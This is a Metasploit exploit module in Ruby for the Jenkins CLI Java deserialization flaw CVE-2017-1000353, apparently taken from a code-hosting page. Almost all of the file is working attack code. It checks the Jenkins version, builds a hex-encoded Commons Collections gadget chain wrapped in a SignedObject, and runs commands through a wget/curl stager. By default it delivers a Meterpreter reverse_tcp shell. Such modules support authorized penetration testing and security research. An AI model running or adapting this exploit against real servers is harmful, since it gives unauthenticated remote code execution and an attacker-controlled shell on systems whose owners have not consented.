198 lines
10 KiB
Ruby
198 lines
10 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
prepend Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Jenkins CLI Deserialization',
|
|
'Description' => %q{
|
|
An unauthenticated Java object deserialization vulnerability exists
|
|
in the CLI component for Jenkins versions `v2.56` and below.
|
|
|
|
The `readFrom` method within the `Command` class in the Jenkins
|
|
CLI remoting component deserializes objects received from clients without
|
|
first checking / sanitizing the data. Because of this, a malicious serialized
|
|
object contained within a serialized `SignedObject` can be sent to the Jenkins
|
|
endpoint to achieve code execution on the target.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'SSD', # PoC
|
|
'Unknown', # Vulnerability discovery
|
|
'Shelby Pace' # Metasploit module
|
|
],
|
|
'References' => [
|
|
[ 'URL', 'https://www.jenkins.io/security/advisory/2017-04-26/'],
|
|
[ 'URL', 'https://ssd-disclosure.com/ssd-advisory-cloudbees-jenkins-unauthenticated-code-execution/'],
|
|
[ 'CVE', '2017-1000353']
|
|
],
|
|
'Privileged' => false,
|
|
'Platform' => 'linux',
|
|
'Targets' => [
|
|
[
|
|
'Linux',
|
|
{
|
|
'Platform' => 'linux',
|
|
'CmdStagerFlavor' => [ 'wget', 'curl' ],
|
|
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
|
'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
|
|
}
|
|
]
|
|
],
|
|
'DisclosureDate' => '2017-04-26',
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SAFE ],
|
|
'Reliability' => [ UNRELIABLE_SESSION ],
|
|
'SideEffects' => [ IOC_IN_LOGS ]
|
|
},
|
|
'DefaultTarget' => 0
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8080),
|
|
OptString.new('TARGETURI', [ true, 'The base path to Jenkins', '/' ])
|
|
]
|
|
)
|
|
end
|
|
|
|
def check
|
|
login_uri = normalize_uri(target_uri.path, 'login')
|
|
login_res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => login_uri
|
|
)
|
|
|
|
return Exploit::CheckCode::Unknown('Did not receive a response from the server') unless login_res
|
|
|
|
/Jenkins\s+ver\.\s+(?<version>\d+(?:\.\d+)*)/ =~ login_res.body
|
|
return Exploit::CheckCode::Safe('Version of Jenkins cannot be found.') unless version
|
|
|
|
vers_no = Rex::Version.new(version)
|
|
return Exploit::CheckCode::Appears("Jenkins version #{version} detected") if vers_no < Rex::Version.new('2.54')
|
|
|
|
Exploit::CheckCode::Detected("Target detected: version #{vers_no}")
|
|
end
|
|
|
|
def exploit
|
|
print_status('Sending payload...')
|
|
execute_cmdstager(noconcat: true)
|
|
end
|
|
|
|
def format_payload(payload_data)
|
|
formatted_payload = '74'
|
|
formatted_payload << payload_data.length.to_s(16).rjust(4, '0')
|
|
formatted_payload << payload_data.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
|
|
end
|
|
|
|
def execute_command(cmd, _opts = {})
|
|
sess_uuid = SecureRandom.uuid
|
|
sess_uri = normalize_uri(target_uri.path, 'cli')
|
|
preamble = '<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4='
|
|
|
|
send_request_cgi(
|
|
{
|
|
'uri' => sess_uri,
|
|
'method' => 'POST',
|
|
'headers' =>
|
|
{
|
|
'Side' => 'download',
|
|
'Session' => sess_uuid
|
|
}
|
|
},
|
|
nil, false
|
|
) # don't wait for response, and don't disconnect
|
|
|
|
cmd = build_obj(cmd)
|
|
send_request_cgi(
|
|
{
|
|
'uri' => sess_uri,
|
|
'method' => 'POST',
|
|
'data' => preamble + [ cmd ].pack('H*'),
|
|
'headers' =>
|
|
{
|
|
'Side' => 'upload',
|
|
'Session' => sess_uuid
|
|
}
|
|
}
|
|
)
|
|
sleep(2) # give buffer time between requests for processing
|
|
end
|
|
|
|
def build_obj(obj_data)
|
|
payload_data = '00000000aced00057372002f6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e5265666572656e63654d61'
|
|
payload_data << '701594ca03984908d7030000787077110000000000000001003f40000000000010737200286a6176612e7574696c2e636f6e63757272656e742'
|
|
payload_data << 'e436f70794f6e577269746541727261795365744bbdd092901569d70200014c0002616c74002b4c6a6176612f7574696c2f636f6e6375727265'
|
|
payload_data << '6e742f436f70794f6e577269746541727261794c6973743b7870737200296a6176612e7574696c2e636f6e63757272656e742e436f70794f6e5'
|
|
payload_data << '77269746541727261794c697374785d9fd546ab90c303000078707704000000027372002a6a6176612e7574696c2e636f6e63757272656e742e'
|
|
payload_data << '436f6e63757272656e74536b69704c697374536574dd985079bdcff15b0200014c00016d74002d4c6a6176612f7574696c2f636f6e637572726'
|
|
payload_data << '56e742f436f6e63757272656e744e6176696761626c654d61703b78707372002a6a6176612e7574696c2e636f6e63757272656e742e436f6e63'
|
|
payload_data << '757272656e74536b69704c6973744d6170884675ae061146a70300014c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6'
|
|
payload_data << 'd70617261746f723b7870707372001a6a6176612e73656375726974792e5369676e65644f626a65637409ffbd682a3cd5ff0200035b0007636f'
|
|
payload_data << '6e74656e747400025b425b00097369676e617475726571007e000e4c000c746865616c676f726974686d7400124c6a6176612f6c616e672f537'
|
|
payload_data << '472696e673b7870757200025b42acf317f8060854e002000078700000050daced0005737200116a6176612e7574696c2e48617368536574ba44'
|
|
payload_data << '859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6'
|
|
payload_data << 'e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a'
|
|
payload_data << '6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e7'
|
|
payload_data << '32e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f61706163'
|
|
payload_data << '68652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6'
|
|
payload_data << 'e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d6954'
|
|
payload_data << '72616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d657'
|
|
payload_data << '23b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d8'
|
|
payload_data << '3418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436'
|
|
payload_data << 'f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c'
|
|
payload_data << '616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e7'
|
|
payload_data << '32e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f'
|
|
payload_data << '6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d547'
|
|
payload_data << '97065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c'
|
|
payload_data << '02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a9902000078700'
|
|
payload_data << '00000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078'
|
|
payload_data << '707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106'
|
|
payload_data << 'a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013'
|
|
payload_data << '75720013'
|
|
payload_data << '5b4c6a6176612e6c616e672e537472696e673b'
|
|
payload_data << 'add256e7e91d7b47'
|
|
payload_data << '020000'
|
|
payload_data << '7870'
|
|
payload_data << '00000001'
|
|
|
|
obj_data = format_payload(obj_data)
|
|
payload_data << obj_data
|
|
|
|
payload_data << '740004'
|
|
payload_data << '65786563' # exec
|
|
payload_data << '7571007e0'
|
|
payload_data << '01b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c756578'
|
|
payload_data << '7200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700'
|
|
payload_data << '507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878'
|
|
payload_data << '787571007e00110000002f302d02147ed1e347cfebac075517d658628ac128211d8895021500945aaa3b69fb24194cdf22bcee9fc9c5e317266'
|
|
|
|
# This index is the length of the serialized
|
|
# object that belongs to the SignedObject
|
|
start_arr = payload_data.index('050daced')
|
|
end_arr = payload_data.index('787571007e')
|
|
new_arr_len = ((end_arr + 2) / 2) - ((start_arr + 4) / 2)
|
|
payload_data[start_arr, 4] = new_arr_len.to_s(16).rjust(4, '0')
|
|
|
|
payload_data << '0740003445341737200116a6176612e6c616e672e426f6f6c65616ecd207280d59cfaee0200015a000576616c75657870017078737200316f72'
|
|
payload_data << '672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e7365742e4c6973744f726465726564536574fcd39ef6fa1ced5302000'
|
|
payload_data << '14c00087365744f726465727400104c6a6176612f7574696c2f4c6973743b787200436f72672e6170616368652e636f6d6d6f6e732e636f6c6c'
|
|
payload_data << '656374696f6e732e7365742e416273747261637453657269616c697a61626c655365744465636f7261746f72110ff46b96170e1b03000078707'
|
|
payload_data << '37200156e65742e73662e6a736f6e2e4a534f4e41727261795d01546f5c2872d20200025a000e657870616e64456c656d656e74734c0008656c'
|
|
payload_data << '656d656e747371007e0018787200186e65742e73662e6a736f6e2e41627374726163744a534f4ee88a13f4f69b3f82020000787000737200136'
|
|
payload_data << 'a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a65787000000001770400000001740004617364667878'
|
|
payload_data << '7371007e001e00000000770400000000787871007e00207371007e00027371007e000577040000000271007e001a71007e00097871007e00207078'
|
|
end
|
|
end
|